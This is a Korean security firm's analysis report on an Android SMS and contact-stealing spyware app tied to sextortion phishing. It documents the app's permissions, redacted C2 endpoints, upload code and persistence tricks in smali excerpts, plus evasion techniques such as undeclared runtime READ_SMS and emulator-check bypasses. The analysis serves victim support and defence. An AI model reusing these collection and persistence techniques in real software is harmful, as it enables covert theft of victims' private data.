Y 상세 분석 보고서

Y.apk 심층 분석 보고서

분석일: 2026-02-13 (심층 분석)

초기 분석일: 2026-02-12

분석자: 주식회사 아크링크 ([비공개] .ai, deep-scan.ai)

분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석

보고서 버전: v4.0 (ML Gold Standard Extended)

분석 Phase: 22

1. 앱 기본 정보

1.1 식별 정보

항목 · 내용

**파일명** · Y.apk

**표시 이름** · Y

**외부 패키지** · com.dsjdsjkds.cndjjytqvxd

**내부 패키지** · com.xyx.sms

**앱 패밀리** · Wavegrid Gen3 (SMS) - 이전 API 버전

**Compile SDK** · 32 (Android 12)

**프레임워크** · Java + OkHttp + Huawei ScanKit [비공개] + ML Kit [비공개]

**DEX 구조** · 단일 DEX (smali/ 1개)

**총 smali 파일** · 4,243개

**C2 클러스터** · [비공개]

**위협 수준** · **High** (23/30)

1.2 컴포넌트 구조

컴포넌트 · 클래스명 · 역할

**Application** · com.xyx.sms.BaseApp · 생명주기 감시 (불완전 구현)

**Launcher** · com.xyx.sms.LoginActivity · 초대코드 입력 + QR 스캔

**Main** · com.xyx.sms.MainActivity · 메인 화면

**Contact** · com.xyx.sms.ContactActivity · 연락처 표시

**Album** · com.xyx.sms.AlbumActivity · 앨범 표시

**Upload** · com.xyx.sms.UploadActivity · 데이터 수집/업로드 허브

**Service** · com.xyx.sms.servise.UploadService · 백그라운드 SMS 수집

> 주의: servise (오타) - ze/zine/Flirting_95/138과 동일한 오타 유지

1.3 Gen3 변종 5-앱 비교표

특성 · ze · zine · Flirting_95 · Flirting_138 · **Y**

**SDK** · 34 · 34 · 34 · 34 · **32**

**DEX** · 단일 · 단일 · 2-DEX · 2-DEX · **단일**

**smali** · 4,352 · 4,352 · 6,679 · 7,484 · **4,243**

**난독화** · h4/ (선택적) · h4/ (선택적) · 없음 · 부분 · **g4/f4/ (선택적)**

**초대코드** · if-ne (정상) · if-eq (반전) · if-eq (반전) · if-eq (반전) · **if-eq (반전)**

**BaseApp** · 없음 · 완전 · 완전 · 완전 · **불완전**

**SMS 필터** · 1일 · 1일 · 코드만(미적용) · 전체 · **코드만(미적용→전체)**

**API 경로** · /AppUser/ · /AppUser/ · /AppUser/ · /AppUser/ · **/webapp/ (직접)**

**C2 클러스터** · xxayjgagagxxg · xxayjgagagxxg · pinonaoshsfpaohjgadsf · xxayjgagagxxg · **pinonaoshsfpaohjgadsf**

> 핵심 발견: Y.apk만 유일하게 /AppUser/ 계층 없는 API 경로 사용

> SDK 32 + 불완전 BaseApp + 구 API → pinonaoshsfpaohjgadsf 클러스터의 초기 변종

2. 권한 분석

2.1 AndroidManifest 선언 권한 (9개)

# · 권한 · 위험도 · 목적

1 · `READ_CONTACTS` · **Critical** · 연락처 전체 탈취

2 · `READ_PHONE_STATE` · **High** · IMEI, 전화번호 수집

3 · `READ_PHONE_NUMBERS` · **High** · 전화번호 직접 읽기

4 · `READ_EXTERNAL_STORAGE` · **High** · 저장소 파일 접근

5 · `READ_MEDIA_IMAGES` · **High** · 사진 탈취 (Android 13+)

6 · `READ_MEDIA_AUDIO` · **High** · 음성 파일 탈취

7 · `READ_MEDIA_VIDEO` · **High** · 동영상 탈취

8 · `INTERNET` · Normal · 네트워크 통신

9 · `ACCESS_NETWORK_STATE` · Normal · 네트워크 상태 확인

2.2 숨겨진 런타임 권한

권한 · Manifest · 런타임 · 위치

`READ_SMS` · ❌ 미선언 · ✅ 5곳에서 요청 · LoginActivity:247, UploadActivity:232/703, UploadActivity$b:55, f4/a:69

> 기법 T022: READ_SMS를 Manifest에 선언하지 않고 런타임에만 요청하여 정적 분석 회피

> - ze/zine/Flirting_95/Flirting_138과 동일한 기법

> - 단, Flirting_138만 Manifest에 READ_SMS 명시 (진화 과정에서 추가)

3. 코드 구조 분석

3.1 난독화 매핑

Y.apk는 g4/ + f4/ 패턴 사용 (ze/zine의 h4/와 다름):

난독화 · 원본 (Flirting_95 역검증) · 용도

`g4/a` · GlideEngine · 이미지 로딩 (Glide 라이브러리)

`g4/b` · HttpUtils (variant) · HTTP POST (JSON)

`g4/c` · HttpUtils (main) · HTTP POST (JSON) - C2 URL 포함

`g4/d` · ReadContactUtils · 연락처/SMS/미디어 수집

`g4/e` · SPUtils · SharedPreferences 관리

`f4/a` · (CountDownTimer) · UploadService 5초 타이머

`f4/b` · (SMS Sender Thread) · SMS 전송 스레드 (saveSms)

> 비교: ze/zine는 h4/c=HttpUtils, h4/d=ReadContactUtils, h4/e=SPUtils

> 문자가 다르지만(g4 vs h4) 구조와 매핑은 동일 → 같은 소스의 다른 ProGuard 빌드

3.2 패키지 구조

```

com/xyx/sms/ # 핵심 악성 코드 (33개 파일)

├── a.smali # 유틸리티

├── b.smali # 이미지 업로드 + C2 URL

├── BaseApp.smali # Application (생명주기 감시)

├── BaseApp$a.smali # ActivityLifecycleCallbacks (불완전)

├── bean/ # 데이터 모델

├── LoginActivity*.smali # 초대코드 (5개 파일)

├── MainActivity*.smali # 메인 화면 (4개 파일)

├── UploadActivity*.smali # 데이터 수집 (9개 파일)

├── ContactActivity*.smali # 연락처 (2개 파일)

├── AlbumActivity*.smali # 앨범 (4개 파일)

└── servise/ # 서비스 (오타 유지)

└── UploadService.smali

g4/ # 난독화 유틸리티 (7개 파일)

├── a.smali, a$a.smali # GlideEngine

├── b.smali # HttpUtils (variant)

├── c.smali # HttpUtils (main, C2 URL)

├── d.smali # ReadContactUtils

└── e.smali, e$a.smali # SPUtils

f4/ # 난독화 서비스 헬퍼 (3개 파일)

├── a.smali # CountDownTimer (5초 무한루프)

└── b.smali, b$a.smali # SMS 전송 스레드

```

4. 네트워크/C2 분석

4.1 C2 서버 정보

항목 · 내용

**도메인** · [비공개]

**Base URL** · `[비공개]

**프로토콜** · HTTP (평문) - MITM 완전 노출

**프레임워크** · RuoYi (Spring Boot)

**C2 공유** · Flirting_95 (동일 도메인), CherryTalk (.buzz 변종)

4.2 C2 URL 위치

파일 · 라인 · URL

`com/xyx/sms/b.smali` · 404 · `[비공개]

`g4/c.smali` · 135 · `[비공개]

4.3 API 엔드포인트 (4개)

# · 메소드 · 엔드포인트 · 용도 · 위치

1 · POST · `[비공개] · 초대코드 검증 (반전 로직) · LoginActivity$a$a.smali:66

2 · POST · `[비공개] · 연락처 일괄 업로드 · UploadActivity$f.smali:66

3 · POST · `[비공개] · SMS 업로드 (1일 필터) · UploadActivity$g.smali:66, f4/b.smali:49

4 · POST · `[비공개] · 이미지/비디오 업로드 · b.smali:152

4.4 ⚠️ API 경로 진화 분석 (핵심 발견)

Y.apk vs 다른 Gen3 변종 API 비교:

기능 · Y (구 API) · ze/zine/Flirting_95/138 (신 API)

초대코드 · `webapp/login` · `webapp/AppUser/checkInviteCode`

연락처 · `webapp/saveAddressBook` · `webapp/AppUser/upPhoneBook`

SMS · `webapp/saveSms` · `webapp/AppUser/saveSms`

이미지 · `webapp/image/{userName}` · `webapp/AppUser/upPic`

분석:

· Y는 /AppUser/ 계층 없이 직접 /webapp/ 하위에 엔드포인트 배치

· 엔드포인트 이름도 다름: login vs checkInviteCode, saveAddressBook vs upPhoneBook

· 동일 RuoYi 프레임워크 + 동일 기능이지만 API 버전이 다름

· 이는 Y가 서버 API 리팩토링 이전 버전을 사용하고 있음을 의미

· 결론: Y는 pinonaoshsfpaohjgadsf 클러스터의 초기 빌드

4.5 네트워크 보안 구성 분석

파일: res/xml/network_security_config.xml

```xml

<network-security-config>

<base-config cleartextTrafficPermitted="true" />

</network-security-config>

```

분석:

· cleartextTrafficPermitted="true" → 모든 도메인에 대해 HTTP 평문 통신 허용

· Android 9 (API 28)부터 기본적으로 cleartext 차단인데, 이를 명시적으로 재허용

· AndroidManifest.xml에서 android:networkSecurityConfig="@xml/network_security_config" 참조

보안 영향:

위험 · 설명 · 심각도

MITM 노출 · 모든 C2 통신이 평문 HTTP · **Critical**

데이터 가로채기 · 연락처/SMS/이미지가 암호화 없이 전송 · **Critical**

트래픽 분석 · 네트워크 모니터링으로 즉시 C2 URL 식별 가능 · High

패킷 변조 · 중간자가 서버 응답을 변조하여 앱 동작 조작 가능 · High

> Gen3 패밀리 비교: ze/zine/Flirting_95/Flirting_138 모두 동일한 cleartext 허용 설정 사용.

> 이는 개발자가 HTTPS 인프라를 구축하지 않았거나, SSL 인증서 비용을 절감한 것으로 추정.

4.6 HTTP 클라이언트 구현 분석

Y.apk는 2개의 독립적 HTTP 클라이언트를 사용합니다.

4.6.1 g4/c.smali - JSON POST 클라이언트 (메인)

소스: HttpUtils.java (ProGuard 후 g4/c)

```smali

g4/c.smali:37-45 - Content-Type 설정

const-string v2, "application/json; charset=utf-8"

invoke-static {v2}, Lp4/t;->a(Ljava/lang/String;)Lp4/t;

g4/c.smali:64-68 - Gson으로 HashMap 직렬화

new-instance v3, Lcom/google/gson/j; # GsonBuilder

invoke-virtual {v3}, Lcom/google/gson/j;->a()Lcom/google/gson/i; # build()

invoke-virtual {v3, p1}, Lcom/google/gson/i;->e(Ljava/lang/Object;)Ljava/lang/String; # toJson()

g4/c.smali:135 - C2 URL 하드코딩

const-string v5, "[비공개]

g4/c.smali:162-166 - POST 메서드 설정

const-string p0, "POST"

invoke-virtual {p1, p0, v2}, Lp4/x$a;->b(Ljava/lang/String;Lp4/a0;)V

g4/c.smali:200-210 - HTTP 상태 코드 검증

iget p1, p0, Lp4/b0;->c:I # 응답 코드

const/16 v1, 0xc8 # 200

if-lt p1, v1, :cond_0 # < 200이면 실패

const/16 v1, 0x12c # 300

if-ge p1, v1, :cond_0 # >= 300이면 실패

200-299 범위만 성공 처리

```

사용처: 초대코드 검증(webapp/login), 연락처 업로드(webapp/saveAddressBook), SMS 업로드(webapp/saveSms)

직렬화 체인: HashMap<String,String> → Gson.toJson() → RequestBody.create() → OkHttp POST

4.6.2 b.smali - Multipart 업로드 클라이언트

소스: UploadActivity.java 내부 클래스 (이미지 전용)

```smali

b.smali:211 - UUID boundary 생성 (보안 분석 핵심)

invoke-static {}, Ljava/util/UUID;->randomUUID()Ljava/util/UUID;

invoke-virtual {v4}, Ljava/util/UUID;->toString()Ljava/lang/String;

b.smali:260-264 - multipart/form-data 타입 검증

const-string v8, "multipart"

invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

b.smali:276-289 - 파일 파트 구성

const-string v7, "file" # 파트 이름: "file"

invoke-virtual {v1}, Ljava/io/File;->getName()Ljava/lang/String; # 파일명

const-string v9, "image/*" # MIME 타입

invoke-static {v9}, Lp4/t;->a(Ljava/lang/String;)Lp4/t; # MediaType

b.smali:336-340 - 추가 필드

const-string v1, "other_field" # 파트 이름: "other_field"

const-string v7, "value" # 값: "value"

```

분석:

· file 파트: 실제 이미지 파일 (image/* MIME 타입)

· other_field = "value" → 의미 없는 더미 필드 (개발자가 샘플 코드를 복사한 흔적)

· UUID boundary로 multipart 구분 → 표준 OkHttp Multipart 패턴

· b.smali:152에서 URL 경로 webapp/image/{userName} 조합

> 핵심 발견: other_field = "value" 더미 필드는 OkHttp 멀티파트 튜토리얼 코드의 원본 그대로 사용.

> 개발자가 스택오버플로우/공식 문서에서 코드를 복사하면서 더미 필드를 제거하지 않음.

4.7 응답 파싱 및 로그 분석

서버 응답 파싱 (g4/c.smali:249-276):

```smali

중국어 로그: "返回=" (반환=)

const-string v1, "\u8fd4\u56de="

invoke-virtual {p1, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

FastJSON으로 파싱

invoke-static {p0}, Lcom/alibaba/fastjson/JSON;->parseObject(Ljava/lang/String;)Lcom/alibaba/fastjson/JSONObject;

"code" 필드 추출

const-string v0, "code"

invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/JSONObject;->getInteger(Ljava/lang/String;)Ljava/lang/Integer;

```

직렬화 라이브러리 이중 사용:

방향 · 라이브러리 · 사용처

요청 직렬화 · **Gson** · g4/c.smali (HashMap → JSON)

응답 파싱 · **FastJSON** (Alibaba) · g4/c.smali (JSON → JSONObject)

데이터 직렬화 · **FastJSON** · UploadActivity (ArrayList → JSON)

> 설계 결함: 동일 앱에서 Gson과 FastJSON을 혼용. 요청은 Gson으로 직렬화하고 응답은 FastJSON으로 파싱.

> 이는 서로 다른 코드 소스(튜토리얼)에서 복사한 것을 합치면서 라이브러리 통일을 하지 않은 증거.

5. 방어기제 분석

5.1 초대코드 게이트 (반전 로직)

파일: LoginActivity$a$a$a$a.smali

핵심 코드 (line 80-84):

```smali

const/16 v2, 0xc8 # v2 = 200

if-eq v0, v2, :cond_1 # 200 == 응답코드이면 → :cond_1 (에러 분기)

```

분기 흐름:

· if-eq 조건 참 (응답 200): :cond_1 → JSON "msg" 파싱 → 에러 Toast

· if-eq 조건 거짓 (응답 ≠ 200): fall-through → UUID 저장(line 132) → invite_code 저장(line 201) → "success" Toast(line 275) → UploadActivity 시작

우회: 임의의 초대코드 입력 → 서버가 200 반환 → 앱이 에러로 처리 → 비정상 응답 시 성공으로 처리

> 진화 계보: ze(if-ne, 정상) → zine(if-eq, 최초 반전) → Y/Flirting_95/Flirting_138(if-eq, 계승)

5.2 에뮬레이터 탐지

BlankJ UtilCode 기반:

· Build.FINGERPRINT, Build.MODEL, Build.MANUFACTURER 검사

· ze/zine/Flirting_95/Flirting_138과 동일 패턴

· 우회: Build 속성 const-string 패치

5.3 BaseApp 지속성 메커니즘 (불완전 구현)

파일: BaseApp$a.smali (line 110-135)

```smali

.method public final onActivityStopped(Landroid/app/Activity;)V

로그: "前台 --> 后台" (foreground → background)

new-instance p1, Landroid/content/Intent;

const-class v1, Lcom/xyx/sms/servise/UploadService;

invoke-direct {p1, v0, v1}, Landroid/content/Intent;-><init>(...)V

return-void # ← startService() 호출 없음!

.end method

```

분석:

· Intent를 생성하지만 startService()를 호출하지 않음

· zine/Flirting_95/Flirting_138에서는 startService() 완성

· 이것은 BaseApp 메커니즘의 초기 미완성 구현

· 코드 작성자가 Intent 패턴을 준비했지만 실행 코드를 빠뜨림

> 진화적 의미: ze(없음) → Y(불완전) → zine(완성) → Flirting_95/138(계승)

5.4 UploadService 지속성

START_STICKY (UploadService.smali:155):

```smali

const/4 p1, 0x1 # START_STICKY = 1

return p1

```

CountDownTimer 무한루프 (f4/a.smali):

```smali

const-wide/16 v0, 0x1388 # 5000ms

const-wide/16 v2, 0x3e8 # 1000ms tick

```

· onFinish() → 새 CountDownTimer 생성 → start() → 무한 반복

· 5초마다 SMS 재수집 시도

6. 초대코드 반전 로직 상세

6.1 검증 흐름

```

[사용자 입력] → LoginActivity$a$a → HTTP POST webapp/login

[서버 응답] → LoginActivity$a$a$a → JSON 파싱

[코드 비교] → LoginActivity$a$a$a$a

├── code == 200 (정상) → :cond_1 → "msg" → 에러 Toast ❌

└── code ≠ 200 (비정상) → fall-through → UUID 저장 → 성공 ✅

```

6.2 반전 로직이 모든 초대코드를 우회 가능한 이유

1. 서버에 유효한 초대코드 전송 → 서버 응답 200 → 앱이 에러 처리

2. 서버에 무효한 초대코드 전송 → 서버 응답 ≠ 200 → 앱이 성공 처리

3. 서버 접속 불가 → 네트워크 에러 → 앱이 성공 처리

결과: 어떤 초대코드든, 심지어 서버가 꺼져있어도 우회 가능

7. 데이터 수집 흐름

7.1 연락처 수집

파일: g4/d.smali method b (line 171-430)

· ContentResolver.query() → ContactsContract.CommonDataKinds.Phone

· 수집 필드: display_name, data1 (전화번호), contact_id

· 필터: 없음 (전체 수집)

· 전송: webapp/saveAddressBook (JSON 배열)

· 주의: g4/d.smali의 b() 메서드는 직접 호출처가 발견되지 않음 (UploadActivity에서 별도 경로 사용 가능)

7.2 SMS 수집 (1일 필터 코드 존재, 미적용!)

파일: g4/d.smali method c (line 432-689)

```smali

line 458-485: Calendar 기반 1일 필터 계산

Calendar.getInstance()

Calendar.add(5, -1) # DAY_OF_MONTH, -1일

Calendar.getTimeInMillis() # 타임스탬프 생성 → 변수에 저장

line 531: ContentProvider 쿼리 - WHERE 절 null!

invoke-virtual/range {v2 .. v7}

v5 = null (selection), v6 = null (selectionArgs), v7 = null (sortOrder)

Uri.parse("content://sms/")

수집 필드: address, date, type, body

```

핵심 발견: Calendar 계산은 수행하지만 ContentResolver.query()의 selection 파라미터가 null.

Flirting_95와 동일한 패턴 → pinonaoshsfpaohjgadsf 클러스터 전체가 SMS 필터 미적용.

ze/zine(xxayjgagagxxg 클러스터)만 필터가 실제 적용됨.

전송 페이로드 (f4/a.smali 분석):

```json

{

> [비공개]

"bjPhone": "<피해자 전화번호>",

"content": [

{"address": "발신번호", "body": "내용", "date": "타임스탬프", "type": "수신/발신"}

]

}

```

7.3 이미지/비디오 업로드

파일: com/xyx/sms/b.smali (line 152)

· webapp/image/{userName} 엔드포인트

· Multipart 업로드

· MediaStore에서 수집한 파일 전송

7.4 기기 정보 수집

· TelephonyManager.getLine1Number() → bjPhone 필드

· Build.MODEL, Build.MANUFACTURER → 기기 식별

7.5 SmsBean 재활용 설계 결함 (핵심 발견)

Y.apk에서 SmsBean 클래스는 SMS뿐 아니라 연락처와 이미지 경로에도 재활용됩니다.

SmsBean 필드 정의 (bean/SmsBean.smali):

```smali

.field public content:Ljava/lang/String;

.field public date:Ljava/lang/String;

.field public displayName:Ljava/lang/String;

.field public path:Ljava/lang/String;

.field public type:Ljava/lang/String;

```

3가지 용도로 재활용되는 패턴:

용도 · 메서드 · 사용 필드 · 미사용 필드

**SMS** · g4/d.c() · content, displayName(=address), date, type · path

**연락처** · g4/d.b() · displayName(=이름), content(=전화번호) · date, type, path

**이미지** · g4/d.a() · path(=파일경로) · content, displayName, date, type

g4/d.smali 바이트코드 증거:

```smali

SMS 수집 (g4/d.c() line 605-617):

iput-object v4, v5, Lcom/xyx/sms/bean/SmsBean;->content:Ljava/lang/String; # body

iput-object v1, v5, Lcom/xyx/sms/bean/SmsBean;->displayName:Ljava/lang/String; # address

iput-object v2, v5, Lcom/xyx/sms/bean/SmsBean;->date:Ljava/lang/String; # date

iput-object v3, v5, Lcom/xyx/sms/bean/SmsBean;->type:Ljava/lang/String; # type

연락처 수집 (g4/d.b() line 396-400):

iput-object v3, v5, Lcom/xyx/sms/bean/SmsBean;->displayName:Ljava/lang/String; # display_name

iput-object v4, v5, Lcom/xyx/sms/bean/SmsBean;->content:Ljava/lang/String; # data1 (전화번호!)

이미지 수집 (g4/d.a() line 133):

iput-object v1, v2, Lcom/xyx/sms/bean/SmsBean;->path:Ljava/lang/String; # _data (파일경로)

```

미사용 ContactBean:

```smali

bean/ContactBean.smali - 정의만 있고 사용되지 않음!

.field public name:Ljava/lang/String;

.field public number:Ljava/lang/String;

```

> 분석: 연락처 전용 ContactBean이 존재하지만 실제 코드에서는 SmsBean으로 연락처를 저장.

> 이는 개발자가 ContactBean을 만든 후 실제 구현에서 SmsBean을 재활용하는 편의적 설계를 선택한 것.

> 원래 com.xyx.sms 패키지가 SMS 수집용으로 시작되어 SmsBean이 "범용 데이터 컨테이너"로 진화한 결과.

7.6 데이터 수집 전체 흐름도 (바이트코드 기반)

```

[앱 시작]

LoginActivity.onCreate()

├── is_first 확인 (g4/e SPUtils, "share_data" SharedPreferences)

│ ├── true → UploadActivity.onCreate() (첫 방문이 아님)

│ └── false → 초대코드 UI 표시

│ ├── 입력 → LoginActivity$a.onClick()

│ │ ├── UUID 생성 (없으면)

│ │ ├── HashMap {name: 초대코드, cId: UUID}

│ │ ├── Thread(LoginActivity$a$a) → g4/c.a("webapp/login", map)

│ │ └── OnSuccess 콜백 → LoginActivity$a$a$a$a

│ │ ├── code == 200 → 에러 Toast (반전!)

│ │ └── code ≠ 200 → UUID/invite_code 저장 → UploadActivity

│ └── QR 스캔 (ScanKit - 미구현?)

UploadActivity.onCreate()

├── invite_code 읽기 (g4/e SPUtils)

├── is_upload 확인 (g4/e SPUtils)

│ ├── "0" → 데이터 수집 실행

│ └── "1" → (이미 업로드됨, 추가 동작 불명)

├── TelephonyManager.getLine1Number() → 전화번호 (z 필드)

├── [버튼 $a] 전체 업로드

│ ├── s() → MediaStore 이미지 수집 → b.smali → POST webapp/image/{userName}

│ ├── t() → 연락처 수집 → HashMap → Thread → POST webapp/saveAddressBook

│ └── u() → SMS 수집 → HashMap → Thread → POST webapp/saveSms

├── [버튼 $b] SMS만

├── [버튼 $c] 연락처만

└── [버튼 $d] 앨범만

UploadService (백그라운드)

├── START_STICKY (시스템 종료 후 재시작)

├── TelephonyManager.getLine1Number() → 전화번호

└── f4/a CountDownTimer(5000ms)

└── onFinish() 매 5초:

├── READ_SMS 권한 확인

├── SMS 수집 (g4/d.c())

├── 이전 수집과 크기 비교 (size != previous size)

│ ├── 변경 있음 → 새 Thread → f4/b → POST webapp/saveSms

│ └── 변경 없음 → skip

└── 새 CountDownTimer 생성 → start() (무한 루프)

```

7.7 SharedPreferences 상태 머신 분석

파일: g4/e.smali (원본: SPUtils.java)

저장소 이름: "share_data" (Private Mode)

```smali

g4/e.smali:19-26 - SharedPreferences 접근

const-string v0, "share_data"

const/4 v1, 0x0 # MODE_PRIVATE

invoke-virtual {p0, v0, v1}, Landroid/content/Context;->getSharedPreferences(...)

```

상태 키 목록 (앱 전체에서 사용):

키 · 타입 · 기본값 · 설정 위치 · 읽기 위치 · 용도

`is_first` · Boolean · false · LoginActivity$a$a$a$a · LoginActivity.onCreate · 첫 방문 플래그

`UUID` · String · "" · LoginActivity$a$a$a$a · LoginActivity.onCreate · 기기 고유 ID

`invite_code` · String · "" · LoginActivity$a$a$a$a · UploadActivity, f4/a · 초대코드 (=userName)

`is_upload` · String · "0" · UploadActivity · UploadActivity.onCreate · 업로드 완료 플래그

SPUtils 타입 디스패치 (g4/e.smali:34-222):

```smali

리플렉션 기반 타입 디스패치 (6개 타입 지원)

instance-of v0, p2, Ljava/lang/String; → getString/putString

instance-of v0, p2, Ljava/lang/Integer; → getInt/putInt

instance-of v0, p2, Ljava/lang/Bool

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr